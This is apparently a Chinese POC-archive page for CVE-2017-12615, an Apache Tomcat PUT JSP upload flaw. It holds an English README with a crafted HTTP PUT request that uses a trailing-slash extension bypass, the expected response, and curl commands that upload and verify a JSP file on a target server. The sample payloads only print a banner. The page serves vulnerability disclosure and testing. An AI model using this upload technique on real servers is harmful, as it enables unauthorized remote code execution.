关联漏洞
标题:
Apache Tomcat 安全漏洞
(CVE-2017-12615)
描述:Apache Tomcat是美国阿帕奇(Apache)软件基金会下属的Jakarta项目的一款轻量级Web应用服务器,它主要用于开发和调试JSP程序,适用于中小型系统。 Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时,远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件,并被服务器执行该文件,导致攻击者可以执行任意代码。
描述
POC Exploit for Apache Tomcat 7.0.x CVE-2017-12615 PUT JSP vulnerability.
介绍
### _In memory of Chia Junyuan (https://packetstormsecurity.com/files/author/11924/)_
# POC CVE-2017-12615
POC Exploit for Apache Tomcat 7.0.0 to 7.0.79 running on Windows; CVE-2017-12615 PUT JSP vulnerability.
## Description:
By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.
This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.
However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79} Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request. But seriously, special? Please.
## Exploit method:
By appending a '/' character behind the filename's extension, one can bypass the file extension check. That's it. So, not that special actually.
### Exploit in a Request Method:
#### Request
```http
PUT /myfile.jsp/
Host: domain-name:port
Connection: close
Content-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
```
#### Expected response if successful
```http
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Sat, 23 Sep 2017 06:36:36 GMT
Connection: close
```
### Exploit using 'curl':
1. Create a .jsp file (e.g. test.jsp):
```jsp
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>
```
2. Perform the curl command on target server:
```sh
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
```
3. Check if your file is uploaded by browsing to the target address or:
```sh
curl http://target-host-or-ip-address:port/test.jsp
```
文件快照
[4.0K] /data/pocs/fb522ed6372a82c8529501bd628a43544a01b6ca
└── [1.7K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。